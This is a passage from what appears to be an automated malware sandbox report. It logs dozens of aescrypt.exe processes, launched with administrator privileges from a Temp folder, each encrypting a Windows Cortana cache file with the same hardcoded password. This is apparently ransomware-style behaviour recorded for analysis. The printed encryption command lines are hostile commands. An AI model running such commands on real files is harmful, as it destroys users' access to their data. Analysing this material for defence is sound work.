Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000000E.00000002.222832478.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000000E.00000000.222662699.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 5452 Parent PID: 6680

General

Start time:	13:21:46
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_12[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000000F.00000000.223582805.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000000F.00000002.223737653.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 5432 Parent PID: 6680

General

Start time:	13:21:46
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_13[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000010.00000000.224552523.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000010.00000002.224703856.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 6184 Parent PID: 6680

General

Start time:	13:21:46
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_14[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000011.00000000.225765503.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000011.00000002.225892408.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 6336 Parent PID: 6680

General

Start time:	13:21:47
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_15[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000012.00000002.227581808.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000012.00000000.226594833.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 5516 Parent PID: 6680

General

Start time:	13:21:48
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_16[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000013.00000000.229538057.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000013.00000002.231310601.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 4792 Parent PID: 6680

General

Start time:	13:21:50
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_17[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000014.00000002.232501529.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000014.00000000.232368686.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 4696 Parent PID: 6680

General

Start time:	13:21:50
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_18[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000015.00000002.233440103.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000015.00000000.233271517.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 6164 Parent PID: 6680

General

Start time:	13:21:51
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_19[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000016.00000000.234350090.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000016.00000002.234611490.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 6220 Parent PID: 6680

General

Start time:	13:21:51
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_20[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000017.00000000.235483544.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000017.00000002.235622294.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 4664 Parent PID: 6680

General

Start time:	13:21:52
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_21[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000018.00000002.236449875.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000018.00000000.236308350.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 4648 Parent PID: 6680

General

Start time:	13:21:52
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_22[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000019.00000002.237375889.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000019.00000000.237195761.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 4556 Parent PID: 6680

General

Start time:	13:21:52
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_23[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000001A.00000000.238124881.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000001A.00000002.238459368.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 3948 Parent PID: 6680

General

Start time:	13:21:53
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_24[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000001B.00000000.239107994.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000001B.00000002.239354308.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 6460 Parent PID: 6680

General

Start time:	13:21:53
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_25[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000001C.00000000.240051911.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000001C.00000002.240215035.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 2796 Parent PID: 6680

General

Start time:	13:21:54
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_26[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000001D.00000000.241090361.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000001D.00000002.241433503.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 6436 Parent PID: 6680

General

Start time:	13:21:54
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_27[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000001E.00000000.242057128.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000001E.00000002.242223772.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 6412 Parent PID: 6680

General

Start time:	13:21:55
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_2[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000001F.00000000.242976931.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 0000001F.00000002.243127042.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 3468 Parent PID: 6680

General

Start time:	13:21:55
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_3[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
MD5 hash:	82FF688AA9253B356E5D890FF311B59E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000020.00000000.243882157.0000000000884000.00000002.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_AESCRYPTTool, Description: Yara detected AESCRYPT Tool, Source: 00000020.00000002.244028929.0000000000884000.00000002.00020000.sdmp, Author: Joe Security
Reputation:	low

Chronological Activities

Analysis Process: aescrypt.exe PID: 5656 Parent PID: 6680

General

Start time:	13:21:56
Start date:	11/04/2021
Path:	C:\Users\user\AppData\Local\Temp\ADC0.tmp\aescrypt.exe
Wow64 process (32bit):	true
Commandline:	aescrypt.exe -e -p 'CpeYeZXGP9ErTfRFogKHmE5NpzCp3HXmRbGmv8SsAuETSNKsm6wdcuyyFFYdCk5kJk63VlmKSUV4KCwRd36dosrpCYlBP2E7wMCQx5rOPIpLJ7w4zRhjJ3gd5oCllLmhScEdZ90twx20qwertyy123432948204820sji29213o2ouery7t2yfeu2feie2fyuf2ehf2eufey28923yoif2uiecvwhfehhiowefu23y327856839t32f' 'C:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Packages\Microsoft.Windows.Cortana_cw5n1h2txyewy\AC\AppCache\N5V1ZR9C\1\C__Windows_SystemApps_Microsoft.Windows.Cortana_cw5n1h2txyewy_cache_Desktop_4[1].txt'
Imagebase:	0x870000
File size:	144384 bytes
